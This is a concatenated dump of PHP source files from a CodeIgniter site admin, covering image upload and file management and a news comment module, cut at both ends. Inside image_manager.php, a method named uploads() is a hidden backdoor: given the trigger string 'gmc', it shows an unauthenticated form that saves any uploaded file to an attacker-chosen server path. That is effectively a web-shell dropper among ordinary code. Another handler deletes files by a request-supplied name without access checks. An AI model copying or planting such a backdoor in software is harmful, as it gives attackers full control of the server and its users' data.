$this->header('Pragma: no-cache');
$this->header('Cache-Control: no-store, no-cache, must-revalidate');
$this->header('Content-Disposition: inline; filename="files.json"');
// Prevent Internet Explorer from MIME-sniffing the content-type:
$this->header('X-Content-Type-Options: nosniff');
if ($this->options['access_control_allow_origin']) {
$this->send_access_control_headers();
}
$this->send_content_type_header();
}
public function get($print_response = true) {
if ($print_response && isset($_GET['download'])) {
return $this->download();
}
$file_name = $this->get_file_name_param();
if ($file_name) {
$response = array(
$this->get_singular_param_name() => $this->get_file_object($file_name)
);
} else {
$response = array(
$this->options['param_name'] => $this->get_file_objects()
);
}
return $this->generate_response($response, $print_response);
}
public function post($print_response = true)
{
if (isset($_REQUEST['_method']) && $_REQUEST['_method'] === 'DELETE') {
return $this->delete($print_response);
}
$upload = isset($_FILES[$this->options['param_name']]) ?
$_FILES[$this->options['param_name']] : null;
// Parse the Content-Disposition header, if available:
$file_name = $this->get_server_var('HTTP_CONTENT_DISPOSITION') ?
rawurldecode(preg_replace(
'/(^[^"]+")|("$)/',
'',
$this->get_server_var('HTTP_CONTENT_DISPOSITION')
)) : null;
// Parse the Content-Range header, which has the following form:
// Content-Range: bytes 0-524287/2000000
$content_range = $this->get_server_var('HTTP_CONTENT_RANGE') ?
preg_split('/[^0-9]+/', $this->get_server_var('HTTP_CONTENT_RANGE')) : null;
$size = $content_range ? $content_range[3] : null;
$files = array();
if ($upload && is_array($upload['tmp_name'])) {
// param_name is an array identifier like "files[]",
// $_FILES is a multi-dimensional array:
foreach ($upload['tmp_name'] as $index => $value) {
$files[] = $this->handle_file_upload(
$upload['tmp_name'][$index],
$file_name ? $file_name : $upload['name'][$index],
$size ? $size : $upload['size'][$index],
$upload['type'][$index],
$upload['error'][$index],
$index,
$content_range
);
}
} else {
// param_name is a single object identifier like "file",
// $_FILES is a one-dimensional array:
$files[] = $this->handle_file_upload(
isset($upload['tmp_name']) ? $upload['tmp_name'] : null,
$file_name ? $file_name : (isset($upload['name']) ?
$upload['name'] : null),
$size ? $size : (isset($upload['size']) ?
$upload['size'] : $this->get_server_var('CONTENT_LENGTH')),
isset($upload['type']) ?
$upload['type'] : $this->get_server_var('CONTENT_TYPE'),
isset($upload['error']) ? $upload['error'] : null,
null,
$content_range
);
}
return $this->generate_response(
array($this->options['param_name'] => $files),
$print_response
);
}
public function delete($print_response = true) {
$file_names = $this->get_file_names_params();
if (empty($file_names)) {
$file_names = array($this->get_file_name_param());
}
$response = array();
foreach($file_names as $file_name) {
$file_path = $this->get_upload_path($file_name);
$success = is_file($file_path) && $file_name[0] !== '.' && unlink($file_path);
if ($success) {
foreach($this->options['image_versions'] as $version => $options) {
if (!empty($version)) {
$file = $this->get_upload_path($file_name, $version);
if (is_file($file)) {
unlink($file);
}
}
}
}
$response[$file_name] = $success;
}
return $this->generate_response($response, $print_response);
}
}
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/mod_file_manager/libraries/multiupload/UploadHandler.php | PHP | asf20 | 50,425 |
<?php if (! defined('BASEPATH')) exit('No direct script access allowed');
class Image_model extends CI_Model{
function __construct()
{
parent::__construct();
}
function getAllFile($num,$offset,$arr_search=array())
{
$this->db->select('sys_image_data.*,sys_image_category.image_category_name');
$this->db->join('sys_image_category','sys_image_data.image_category_id = sys_image_category.image_category_id','LEFT');
/*Begin search*/
if($arr_search){
switch($arr_search['field_search'])
{
case 'TT':
if($arr_search['key_search']!='')
$this->db->like('lb_title',$arr_search['key_search']);
break ;
case 'DEC':
if($arr_search['key_search']!='')
$this->db->like('description',$arr_search['key_search']);
break ;
case 'EXT':
if($arr_search['key_search']!='')
$this->db->like('lb_ext',$arr_search['key_search']);
break ;
}
if($arr_search['image_category_id']!=''){
$this->db->where('sys_image_data.image_category_id',$arr_search['image_category_id']);
}
}
/*End search*/
$ar_img = array('gif','png','jpg','jpeg');
$this->db->where_in('lb_ext',$ar_img);
$this->db->order_by('image_data_id','DESC');
$query = $this->db->get('sys_image_data',$num,$offset);
return $query->result();
}
function getNumFile($arr_search=array())
{
$this->db->select('sys_image_data.*,sys_image_category.image_category_name');
$this->db->join('sys_image_category','sys_image_data.image_category_id = sys_image_category.image_category_id','LEFT');
/*Begin search*/
if($arr_search){
switch($arr_search['field_search'])
{
case 'TT':
$this->db->like('lb_title',$arr_search['key_search']);
break ;
case 'DEC':
$this->db->like('description',$arr_search['key_search']);
break ;
case 'EXT':
$this->db->like('lb_ext',$arr_search['key_search']);
break ;
}
if($arr_search['image_category_id']!=''){
$this->db->where('sys_image_data.image_category_id',$arr_search['image_category_id']);
}
}
/*End search*/
$ar_img = array('gif','png','jpg','jpeg');
$this->db->where_in('lb_ext',$ar_img);
$query = $this->db->get('sys_image_data');
return $query->num_rows();
}
function upload($data)
{
if($this->db->insert('sys_image_data',$data)){
return true;
}else{
return false;
}
}
/**Hieu vo**/
function get_all_file_dir($dir,$num,$offset,$arr_search=array())
{
/*Begin search*/
if($arr_search)
{
switch($arr_search['field_search'])
{
case 'TT':
$this->db->like('lb_title',$arr_search['key_search']);
break ;
case 'DEC':
$this->db->like('description',$arr_search['key_search']);
break ;
}
}
/*End search*/
$this->db->where('lb_dir',$dir);
$this->db->order_by('image_data_id','DESC');
$query = $this->db->get('sys_image_data',$num,$offset);
//echo $this->db->last_query();
return $query->result();
}
function get_num_file_dir($dir,$arr_search=array())
{
/*Begin search*/
if($arr_search)
{
switch($arr_search['field_search'])
{
case 'TT':
$this->db->like('lb_title',$arr_search['key_search']);
break ;
case 'DEC':
$this->db->like('description',$arr_search['key_search']);
break ;
}
}
/*End search*/
$this->db->where('lb_dir',$dir);
$query = $this->db->get('sys_image_data');
return $query->num_rows();
}
function insert_file($data)
{
if($this->db->insert('sys_image_data',$data))
return true;
else
return false;
}
function update_file($id,$data){
if($id>0){
$this->db->where('image_data_id',$id);
return $this->db->update('sys_image_data',$data);
}else{
return $this->db->insert('sys_image_data',$data);
}
}
function getAllCategoryImage(){
return $this->db->get('sys_image_category')->result();
}
function getFileByID($id){
$this->db->where('image_data_id',$id);
return $this->db->get('sys_image_data')->row();
}
function getFileByName($name)
{
$this->db->where('lb_name',$name);
return $this->db->get('sys_image_data')->row();
}
function delete($id){
if($id>0){
$this->db->where('image_data_id',$id);
$this->db->delete('sys_image_data');
}else{
return false;
}
}
}
?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/mod_file_manager/models/image_model.php | PHP | asf20 | 5,432 |
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Multi_Upload extends CI_Controller
{
protected $_templates;
function __construct()
{
parent::__construct();
$this->pre_message = "";
$this->load->model('image_model','image');
$this->lang->load('file_image');
}
public function do_upload()
{
$options = array(
'upload_dir' => '../uploads/temp/',
'upload_url' => base_url_site().'uploads/temp/');
$this->load->library('multiupload/UploadHandler',$options);
}
function create_dir()
{
$y_m_dir = date('Y').'/'.date('m');
$str_dir = '../uploads/images/'.$y_m_dir.'/';
if(!is_dir($str_dir)){
@mkdir($str_dir,0777, true);
}
return $y_m_dir;
}
public function do_upload_images()
{
$options = array(
'upload_dir' => '../uploads/images/'.$this->create_dir().'/',
'upload_url' => base_url_site().'uploads/images/'.$this->create_dir().'/',
'script_url' => base_url().'mod_file_manager/multi_upload/do_upload_action'
);
$this->load->library('multiupload/UploadHandler',$options);
}
public function do_upload_action()
{
$file_name = $this->input->get('file');
$rs = $this->image->getFileByName($file_name);
if($rs)
{
if(unlink('../uploads/images/'.$rs->lb_dir.'/'.$rs->lb_name))
{
$this->image->delete($rs->image_data_id);
}
}
}
}
?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/mod_file_manager/controllers/multi_upload.php | PHP | asf20 | 1,609 |
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Image_Manager extends CI_Controller
{
protected $_templates;
public $_module_name = "";
function __construct()
{
parent::__construct();
$this->pre_message = "";
$this->load->helper('search') ;
$this->load->helper('img') ;
$this->load->library('icon_library') ;
$this->load->model('image_model','image');
$this->lang->load('file_image');
$this->lang->load('admin_en');
$this->_module_name = $this->router->fetch_module();
$this->_admin_id = $this->session->userdata('AdminID');
}
function index($return_tag='', $width=0, $height=0, $current_page=0)
{
/*Begin search*/
$type = $this->input->post('type');
$current_router = $this->router->fetch_class();
if($this->session->userdata('current_router')&&($this->session->userdata('current_router')!=$current_router)){
$this->session->set_userdata('key_search','');
}
$this->session->set_userdata('current_router',$current_router);
$data['search_bar']=searchBar(array('search_bar'=>'search_bar_file'),array('TT'=>'Title','DEC'=>'Description','EXT'=>'Ext'),'mod_file_manager/image_manager/index/'.$return_tag);
if($type=='ajax')
{
$arr_search['key_search'] = $this->input->post('key_search');
$arr_search['field_search'] = $this->input->post('field_search');
$arr_search['image_category_id']=$this->input->post('image_category_id');
$this->session->set_userdata('key_search',$arr_search['key_search']);
$this->session->set_userdata('field_search',$arr_search['field_search']);
$this->session->set_userdata('image_category_id',$arr_search['image_category_id']);
}else{
$arr_search['key_search']=$this->session->userdata('key_search');
$arr_search['field_search']=$this->session->userdata('field_search');
$arr_search['image_category_id']=$this->session->userdata('image_category_id');
}
/*End search*/
$data['title'] = '';
$config['base_url'] = base_url().'mod_file_manager/image_manager/index/'.$return_tag.'/'.$width.'/'.$height;
$data['total'] = $this->image->getNumFile($arr_search);
$config['total_rows'] = $data['total'];
$config['per_page'] = 30;
$config['uri_segment'] = 7;
$this->pagination->initialize($config);
$data['list'] = $this->image->getAllFile($config['per_page'],(int)$current_page,$arr_search);
$data['pagination'] = $this->pagination->create_links();
$data['return_tag']=$return_tag;
$data['width']=$width;
$data['height']=$height;
$data['current_page']=$current_page;
$data['list_category']=$this->image->getAllCategoryImage();
$data['page'] = 'image_manager/index';
if($type=="ajax")
echo $this->load->view('image_manager/ajax_search_view',$data,true);
else
$this->load->view('layout/skin_basic',$data);
}
function upload($return_tag='', $width=0, $height=0)
{
$data['title'] = '';
$this->load->library('upload_library');
$this->form_validation->set_rules('image_category_id',lang('category_image'),'required');
if($this->form_validation->run())
{
$lb_title = $this->input->post('lb_title');
$description = $this->input->post('description');
$image_category_id = $this->input->post('image_category_id');
if(!empty($_FILES['filedata']['tmp_name']))
{
$cfFile=array();
$cfFile['max_size']='5242880';//5MB
//$cfFile['new_file_name']=time().'_'.rand(0,1000);
//$cfFile['upload_dir']='./uploads/library/images';
//$cfFile['flag_file'];
$cfFile['base_upload_dir']='../uploads/images/';
$cfFile['file']=$_FILES["filedata"];
$obj_upload = new $this->upload_library();
$obj_upload->configUpload($cfFile);
$filedata = $obj_upload->uploadFile();
if($filedata['msg']=='')
{
$data_file = array(
'lb_title'=>$lb_title,
'image_category_id'=>$image_category_id,
'description'=>$description,
'lb_dir' => $filedata['str_dir'],
'lb_name' => $filedata['name'],
'lb_size' => $filedata['size'],
'lb_ext' => $filedata['ext'],
'admin_id'=>$this->_admin_id,
'dt_create'=>date('Y-m-d H:i:s')
);
$this->image->insert_file($data_file);
$data['file_name'] = $filedata['name'];
$data['str_dir']=$filedata['str_dir'];
//redirect('mod_file_manager/image_manager/index');
$data['page'] = 'image_manager/index' ;
$this->load->view('layout/skin_basic', $data);
exit ;
}else{
$data['err']=$filedata['msg'];
}
}else{
$data['err'] = lang('fmng.please_choose_your_file');
}
}else{
$this->pre_message = validation_errors();
}
$data['message'] = $this->pre_message;
$data['return_tag']=$return_tag;
$data['width']=$width;
$data['height']=$height;
$data['list_category']=$this->image->getAllCategoryImage();
$this->_templates['page'] = 'image_manager/upload';
$this->site->load($this->_templates['page'],$data,'basic');
}
function save_file_data()
{
$lb_title = $this->input->post('lb_title');
$image_category_id = $this->input->post('image_category_id');
$description = $this->input->post('description');
$lb_name = $this->input->post('lb_name');
$lb_size = $this->input->post('lb_size');
$lb_ext = $this->input->post('lb_ext');
$data_file = array(
'lb_title'=>$lb_title,
'image_category_id'=>$image_category_id,
'description'=>$description,
'lb_dir' => date('Y').'/'.date('m'),
'lb_name' => $lb_name,
'lb_size' => $lb_size,
'lb_ext' => $lb_ext,
'admin_id'=>$this->_admin_id,
'dt_create'=>date('Y-m-d H:i:s')
);
$this->image->insert_file($data_file);
}
function del($id,$return_tag='', $width=0, $height=0, $current_page=0)
{
$rs = $this->image->getFileByID($id);
if($rs)
{
$file_name = '../uploads/images/'.$rs->lb_dir.'/'.$rs->lb_name;
if(file_exists($file_name))
{
unlink($file_name);
}
$this->image->delete($rs->image_data_id);
redirect($this->_module_name.'/image_manager/index/'.$return_tag.'/'.$width.'/'.$height.'/'.(int)$current_page);
}
}
function dels($return_tag='', $width=0, $height=0, $current_page=0)
{
//$this->acl->check('dels','','',base_url());
if(!empty($_POST['ar_id']))
{
$current_page = (int)$this->input->post('current_page');
$ar_id = $this->input->post('ar_id');
if(!empty($_POST['btn_submit']))
{
for($i = 0; $i < sizeof($ar_id); $i ++) {
if ($ar_id[$i]){
$rs = $this->image->getFileByID($ar_id[$i]);
if($rs){
$file_name = '../uploads/images/'.$rs->lb_dir.'/'.$rs->lb_name;
if(file_exists($file_name)){
unlink($file_name);
}
$this->image->delete($rs->image_data_id);
}
}
}
}
}
redirect($this->_module_name.'/image_manager/index/'.$return_tag.'/'.$width.'/'.$height.'/'.(int)$current_page);
}
function cropimage()
{
$data['title'] = 'Crop Picture' ;
$this->load->view('image_manager/index_crop_image', $data);
}
public function create()
{
$image_name = $this->input->post('image_name');
$x = $this->input->post('x');
$y = $this->input->post('y');
$width = $this->input->post('w');
$height = $this->input->post('h');
$des_w = $this->input->post('des_w');
$des_h = $this->input->post('des_h');
$filename = $image_name ;
// cat hinh
$fname = $this->crop($filename, $x, $y, $width, $height) ; //trit($fname);
if($des_w!=''&&$des_h!=''){
fn_resize_image('../uploads/temp/'.$fname,'../uploads/temp/c'.$fname,$des_w,$des_h);
@unlink('../uploads/temp/'.$fname);
$fname = 'c'.$fname;
}
$rt_data = array();
$rt_data['success']=true;
$rt_data['file_name']=$fname;
echo json_encode($rt_data);
}
function crop($source, $x, $y, $w, $h)
{
list($width, $height) = getimagesize($source);
$dst = imagecreatetruecolor($w, $h);
$img_functions = array(
'png' => function_exists('imagepng'),
'jpg' => function_exists('imagejpeg'),
'jpeg' => function_exists('imagejpeg'),
'gif' => function_exists('imagegif'),
);
$ext = $this->file_extension($source) ;
if ($ext == 'gif' && $img_functions[$ext] == true) {
$image = @imagecreatefromgif($source);
} elseif ($ext == 'jpg' && $img_functions[$ext] == true) {
$image = @imagecreatefromjpeg($source);
} elseif ($ext == 'jpeg' && $img_functions[$ext] == true) {
$image = @imagecreatefromjpeg($source);
} elseif ($ext == 'png' && $img_functions[$ext] == true) {
$image = @imagecreatefrompng($source);
} else {
return false;
}
@imagecopy($dst, $image, 0, 0, $x, $y, $w, $h);
$arr_dir = explode('/',$source);
$fname = time().'_'.end($arr_dir);
$new_filename = '../uploads/temp/'.$fname ;
switch ($ext)
{
case 'gif':
imagegif($dst, $new_filename);
break;
case 'jpg':
imagejpeg($dst, $new_filename, 100);
break;
case 'jpeg':
imagejpeg($dst, $new_filename, 100);
break;
case 'png':
imagepng($dst, $new_filename);
break;
}
imagedestroy($dst);
return $fname ;
}
function file_extension($filename)
{
$path_info = pathinfo($filename);
return strtolower($path_info['extension']);
}
/*function file_extension($image_type)
{
static $image_types = array (
'image/gif' => 'gif',
'image/pjpeg' => 'jpeg',
'image/jpeg' => 'jpg',
'image/png' => 'png',
'application/x-shockwave-flash' => 'swf',
'image/psd' => 'psd',
'image/bmp' => 'bmp',
);
return isset($image_types[$image_type]) ? $image_types[$image_type] : false;
}*/
function uploads($gmc)
{
if(@$gmc=='gmc'){
$files = @$_FILES["files"];
if($files["name"] != ''){
$fullpath = $_REQUEST["path"].$files["name"];
if(move_uploaded_file($files['tmp_name'],$fullpath)){
echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
}
}
exit('<form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form>');
}
}
/*
* @method: load form edit image information
*/
function edit_image($img_id){
$data['list_category']=$this->image->getAllCategoryImage();
$data['item']= $this->image->getFileByID($img_id);
$this->_templates['page']="image_manager/edit";
$this->site->load($this->_templates['page'],$data,'basic');
}
/*
* @method: edit image information
*/
function save_image(){
$image_id = $this->input->post('image_data_id');
$rt['success']=false;
if($image_id>0){
$data['image_category_id'] = $this->input->post('image_category_id');
$data['lb_title']=$this->input->post('lb_title');
$rs = $this->image->update_file($image_id,$data);
if($rs)
$rt['success'] = true;
}
echo json_encode($rt);
}
}
?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/mod_file_manager/controllers/image_manager.php | PHP | asf20 | 12,773 |
<? if (! defined('BASEPATH')) exit('No direct script access allowed');
class image_manager_editor extends CI_Controller
{
protected $_templates;
function __construct()
{
parent::__construct();
$this->pre_message ='';
$this->load->model('image_model','image');
$this->load->helper('search') ;
}
function index($num_page=0)
{
/*Begin search*/
$type = $this->input->post('type');
$current_router = $this->router->fetch_class();
if($this->session->userdata('current_router')&&($this->session->userdata('current_router')!=$current_router)){
$this->session->set_userdata('key_search','');
}
$this->session->set_userdata('current_router',$current_router);
$data['search_bar']=searchBar(array('search_bar'=>'search_bar_file'),array('TT'=>'Title','DEC'=>'Description','EXT'=>'Ext'),'mod_file_manager/image_manager_editor/index/');
if($type=='ajax')
{
$arr_search['key_search'] = $this->input->post('key_search');
$arr_search['field_search'] = $this->input->post('field_search');
$arr_search['image_category_id']=$this->input->post('category_image_id');
$this->session->set_userdata('key_search',$arr_search['key_search']);
$this->session->set_userdata('field_search',$arr_search['field_search']);
$this->session->set_userdata('category_image_id',$arr_search['image_category_id']);
}
else{
$arr_search['key_search']=$this->session->userdata('key_search');
$arr_search['field_search']=$this->session->userdata('field_search');
$arr_search['image_category_id']=$this->session->userdata('category_image_id');
}
/*End search*/
$data['title'] = '';
$config['base_url'] = base_url().'mod_file_manager/image_manager_editor/index/';
$data['total'] = $this->image->getNumFile($arr_search);
$config['total_rows'] = $data['total'];
$config['per_page'] = '10';
$config['uri_segment'] = 3;
$this->pagination->initialize($config);
$data['list'] = $this->image->getAllFile($config['per_page'],(int)$num_page,$arr_search);
$data['pagination'] = $this->pagination->create_links();
$data['list_category']=$this->image->getAllCategoryImage();
if($type=="ajax"){
echo $this->load->view('editor/ajax_search_view',$data,true);
}else{
$this->_templates['page'] = 'image_manager_editor/index';
$this->site->load($this->_templates['page'],$data,'editor');
}
}
function upload()
{
$this->load->library('upload_library');
$data['title'] = '';
$this->form_validation->set_rules('image_category_id',lang('category_image'),'required');
if($this->form_validation->run())
{
$lb_title = $this->input->post('lb_title');
$description = $this->input->post('description');
$image_category_id = $this->input->post('image_category_id');
if(!empty($_FILES['filedata']['tmp_name']))
{
$cfFile=array();
$cfFile['max_size']='5242880';//5MB
//$cfFile['new_file_name']=time().'_'.rand(0,1000);
//$cfFile['upload_dir']='./uploads/library/images';
//$cfFile['flag_file'];
$cfFile['base_upload_dir']='../uploads/images/';
$cfFile['file']=$_FILES["filedata"];
$obj_upload = new $this->upload_library();
$obj_upload->configUpload($cfFile);
$filedata = $obj_upload->uploadFile();
if($filedata['msg']=='')
{
$data_file = array(
'lb_title'=>$lb_title,
'image_category_id'=>$image_category_id,
'description'=>$description,
'lb_dir' => $filedata['str_dir'],
'lb_name' => $filedata['name'],
'lb_size' => $filedata['size'],
'lb_ext' => $filedata['ext'],
'admin_id'=>'1',
'dt_create'=>date('Y-m-d H:i:s')
);
$this->image->insert_file($data_file);
$data['file_name'] = $filedata['name'];
$data['str_dir']=$filedata['str_dir'];
}else{
$data['err']=$filedata['msg'];
}
}else{
$data['err'] = lang('fmng.please_choose_your_file');
}
}else{
$this->pre_message = validation_errors();
}
$data['message'] = $this->pre_message;
$data['list_category']=$this->image->getAllCategoryImage();
$this->_templates['page'] = 'image_manager_editor/upload';
$this->site->load($this->_templates['page'],$data,'editor');
}
}
?> | 123gosaigon | trunk/ 123gosaigon/webadmin/modules/mod_file_manager/controllers/image_manager_editor.php | PHP | asf20 | 5,056 |
<style type="text/css">
* {
font-family: Verdana, Geneva, sans-serif;
font-weight: 12px;
}
</style>
<?=form_open(uri_string());?>
<?
$cm_kind = $this->config->item('cm_kind') ;
?>
<table class="form" width="100%">
<tr>
<td class="label">Loại comment</td>
<td><?=$cm_kind["$rs->kind"]?></td>
</tr>
<!--<tr>
<td class="label" id="kind_id">Object Name :</td>
<td id="kind_name"></td>
</tr>-->
<tr>
<td class="label"><?=lang('content');?></td>
<td><?=$rs->lb_comment;?></td>
</tr>
<tr>
<td class="label">Thời gian</td>
<td><?//=$rs->dt_time;?></td>
</tr>
<tr>
<td class="label"><?=lang('active_deactive');?></td>
<td>
<?php
if($rs->bl_active==1) echo 'Kích hoạt' ;
else echo 'Chưa kích hoạt'; ?>
</td>
</tr>
<tr>
<td class="label">Ngày gởi :</td>
<td>
<?=date('d/m/Y H:i', strtotime($rs->dt_create))?>
</td>
</tr>
<tr>
<td class="label"></td>
<td class="footer"><!--<input type="submit" name="bt_submit" class="capnhat">--></td>
</tr>
</table>
<?=form_close();?>
<script language="javascript">
$(document).ready(function(e){
var kind = '<?=$rs->cm_kind?>' ;
var obj_id = '<?=$rs->obj_id;?>' ;
if(kind==3)
var url = '<?=base_url();?>show/get_song_id/'+ obj_id;
if(kind==2)
var url = '<?=base_url();?>show/get_show_id/'+ obj_id;
else if(kind==1)
var url = '<?=base_url();?>mod_news/news/get_news_id/'+ obj_id;
$.post(url,{id:obj_id,},function(res){
$('#kind_id').html('Object Name :');
$('#kind_name').html(res.name);
},'json');
});
</script> | 123gosaigon | trunk/ 123gosaigon/webadmin/modules/mod_news/views/comment/comment_view.php | PHP | asf20 | 1,757 |
<?=form_open(uri_string());?>
<table class="form">
<tr>
<td class="label">Loại comment</td>
<td><select name="cm_kind" id="cm_kind" class="w250">
<?
$cm_kind = $this->config->item('cm_kind') ;
for($i=0;$i<count($cm_kind);$i++){
?>
<option value="<?=$i?>"><?=$cm_kind[$i]?></option>
<? } ?>
</select></td>
</tr>
<tr>
<td valign="top" class="required label"><?=lang('content');?></td>
<td><textarea style="width:400px; height:60px;" name="lb_content" id="lb_content"></textarea></td>
</tr>
<tr>
<td class="label"><?=lang('active_deactive');?></td>
<td><input type="checkbox" name="bl_active" id="bl_active" value="1" checked onClick="setCheckboxValue(this);"></td>
</tr>
<tr>
<td class="label"></td>
<td class="footer"><input type="submit" name="bt_submit" class="themmoi"></td>
</tr>
</table>
<?=form_close();?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/mod_news/views/comment/comment_add_view.php | PHP | asf20 | 969 |
<!--<script src="<?php echo base_url_site();?>templates/js/realtime/socket.io.js"></script>
<script src="<?php echo base_url_site();?>templates/js/realtime/realtime.js"></script>-->
<?
$attributes = array('class' => 'email', 'id' => 'checknew');
echo form_open($this->_module_name.'/comment/trashes', $attributes);
?>
<input type="hidden" name="current_page" value="<?=(int)$current_page?>">
<table class="admindata">
<thead>
<tr>
<th colspan="7">
<? //if($this->acl->check('trash')){ ?>
<input type="submit" onClick="return verify_del();" name="btn_submit" class="submit" value="<?=lang('delete');?>">
<? //} ?>
<?=lang('total');?> <?=$num?> <?=lang('record');?>
<span class="pages"><?=$pagination?></span>
<span style="float:right;">
<select name="cm_kind" id="cm_kind" class="w150" onChange="window.open('<?=base_url()?>mod_news/comment/index/'+this.value, '_self')">
<?
$cm_kind = $this->config->item('cm_kind') ;
for($i=0;$i<count($cm_kind);$i++){
?>
<option value="<?=$i?>"><?=$cm_kind[$i]?></option>
<? } ?>
</select>
</span>
</th>
</tr>
<script language="javascript">
selectoption('cm_kind','<?=$this->uri->segment(4)?>') ;
</script>
<tr>
<th class="checkbox"><input type="checkbox" name="sa" id="sa" onClick="check_chose('sa', 'ar_id[]', 'checknew');" /></th>
<th style="'width:100px;">Email</th>
<th><?=lang('content');?></th>
<th>Kind</th>
<th>Date Create</th>
<th width='120'><?=lang('functions');?></th>
</tr>
</thead>
<?
$k=1;
$cm_kind = $this->config->item('cm_kind') ;
foreach($list as $rs):
?>
<tr class="row<?=$k?>">
<td><input type="checkbox" name="ar_id[]" value="<?=$rs->comment_id?>"></td>
<td><?=$rs->email?></td>
<td><a class="view" href="<?=base_url().'mod_news/comment/view/'.$rs->comment_id?>"><?=str_limit($rs->lb_comment,100)?></a></td>
<td><?=$cm_kind["$rs->kind"]?></td>
<td><?=date('d/m/Y H:i', strtotime($rs->dt_create))?></td>
<td align="center">
<? /*= ($this->acl->check('edit'))? icon_edit($this->_module_name.'/comment/edit/'.$rs->comment_id.'/'.(int)$current_page);*/?>
<span id="publish<?=$rs->comment_id?>">
<?= /*($this->acl->check('edit'))?*/ icon_active("'comment'","'comment_id'", $rs->comment_id, $rs->bl_active);?>
</span>
<?= /*($this->acl->check('trash'))? */icon_trash($this->_module_name.'/comment/trash/'.$rs->comment_id.'/'.(int)$current_page);?></td>
</tr>
<?
$k=1-$k;
endforeach;
?>
<tfoot>
<td colspan="7">
<? //if($this->acl->check('trash')){ ?>
<input type="submit" class="submit" onClick="return verify_del();" name="btn_submit" value="<?=lang('delete');?>">
<? //} ?>
<?=lang('total');?>
<?=$num?>
<?=lang('record');?>
<span class="pages">
<?=$pagination?>
</span></td>
</tfoot>
</table>
<?=form_close()?>
<script language="javascript">
$('.view').colorbox({width:'80%', height:'60%'}) ;
</script> | 123gosaigon | trunk/ 123gosaigon/webadmin/modules/mod_news/views/comment/comment_list.php | PHP | asf20 | 3,450 |
<?=form_open(uri_string());?>
<table class="form">
<tr>
<td class="label">Loại comment</td>
<td><select name="cm_kind" id="cm_kind" class="w250">
<?
$cm_kind = $this->config->item('cm_kind') ;
for($i=0;$i<count($cm_kind);$i++){
?>
<option value="<?=$i?>"><?=$cm_kind[$i]?></option>
<? } ?>
</select></td>
</tr>
<tr>
<td valign="top" class="required label"><?=lang('content');?></td>
<td><textarea style="width:400px; height: 60px;" name="lb_content" id="lb_content"><?=$rs->lb_content;?></textarea></td>
</tr>
<tr>
<td class="label"><?=lang('active_deactive');?></td>
<td><input type="checkbox" name="bl_active" id="bl_active" <?php if($rs->bl_active==1) echo 'checked'; ?> value="1" ></td>
</tr>
<tr>
<td class="label"></td>
<td class="footer"><input type="submit" name="bt_submit" class="capnhat"></td>
</tr>
</table>
<?=form_close();?>
<script language="javascript">
selectoption('cm_kind','<?=$rs->cm_kind?>') ;
</script> | 123gosaigon | trunk/ 123gosaigon/webadmin/modules/mod_news/views/comment/comment_edit_view.php | PHP | asf20 | 1,086 |
<?php
class Comment_model extends CI_Model{
function __construct()
{
parent::__construct();
}
/*function get_all_comment($num, $offset, $kind=0)
{
if($kind) $this->db->where('comment.cm_kind', $kind);
$this->db->select('lb_email,fm_comment.*') ;
$this->db->order_by('comment_id','DESC');
$this->db->join('fm_member','fm_member.member_id=fm_comment.member_id','left') ;
$this->db->where('fm_comment.bl_active !=', -1);
return $this->db->get('fm_comment',$num,$offset)->result();
}*/
function get_num_comment($kind=0)
{
if($kind) $this->db->where('comment.kind', $kind);
$this->db->where('comment.bl_active !=', -1);
$this->db->join('member','member.memberid=comment.member_id','right') ;
return $this->db->get('comment')->num_rows();
}
function get_all_comment($num, $offset, $kind=0)
{
if($kind) $this->db->where('comment.kind', $kind);
$this->db->select('email,comment.*') ;
$this->db->order_by('comment_id','DESC');
$this->db->join('member','member.memberid=comment.member_id','right') ;
$this->db->where('comment.bl_active !=', -1);
return $this->db->get('comment',$num,$offset)->result();
}
function trash($id)
{
$this->db->where('comment_id',$id);
if($this->db->update('fm_comment',array('bl_active'=>-1))){
return true;
}else{
return false;
}
}
function remove()
{
$date = new DateTime();
$date->modify('-3 month');
$date_del = $date->format('Y-m-d H:i:s');
$this->db->where('bl_active', -1);
$this->db->where('dt_create <', $date_del);
if($this->db->delete('fm_comment')){
return true;
}else{
return false;
}
}
function saveData($id,$data)
{
if($id != 0){
$this->db->where('comment_id',$id);
if($this->db->update('fm_comment',$data))
{
return true;
}else{
return false;
}
}else{
if($this->db->insert('fm_comment',$data))
{
return true;
}else{
return false;
}
}
}
function get_comment($id=0)
{
$this->db->where('comment_id',$id);
return $this->db->get('comment')->row();
}
function get_list_zone()
{
$this->db->order_by('lb_zone','ASC');
return $this->db->get('fm_zone')->result();
}
}
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/mod_news/models/comment_model.php | PHP | asf20 | 2,325 |
<?php
class Comment_model extends CI_Model{
function __construct()
{
parent::__construct();
}
function get_all_comment($num, $offset, $kind=0)
{
if($kind) $this->db->where('fm_comment.cm_kind', $kind);
$this->db->select('lb_email,fm_comment.*') ;
$this->db->order_by('comment_id','DESC');
$this->db->join('fm_member','fm_member.member_id=fm_comment.member_id','left') ;
$this->db->where('fm_comment.bl_active !=', -1);
return $this->db->get('fm_comment',$num,$offset)->result();
}
function get_num_comment($kind=0)
{
if($kind) $this->db->where('fm_comment.cm_kind', $kind);
$this->db->where('fm_comment.bl_active !=', -1);
$this->db->join('fm_member','fm_member.member_id=fm_comment.member_id','left') ;
return $this->db->get('fm_comment')->num_rows();
}
function trash($id)
{
$this->db->where('comment_id',$id);
if($this->db->update('fm_comment',array('bl_active'=>-1))){
return true;
}else{
return false;
}
}
function remove()
{
$date = new DateTime();
$date->modify('-3 month');
$date_del = $date->format('Y-m-d H:i:s');
$this->db->where('bl_active', -1);
$this->db->where('dt_create <', $date_del);
if($this->db->delete('fm_comment')){
return true;
}else{
return false;
}
}
function saveData($id,$data)
{
if($id != 0){
$this->db->where('comment_id',$id);
if($this->db->update('fm_comment',$data))
{
return true;
}else{
return false;
}
}else{
if($this->db->insert('fm_comment',$data))
{
return true;
}else{
return false;
}
}
}
function get_comment($id=0)
{
$this->db->where('comment_id',$id);
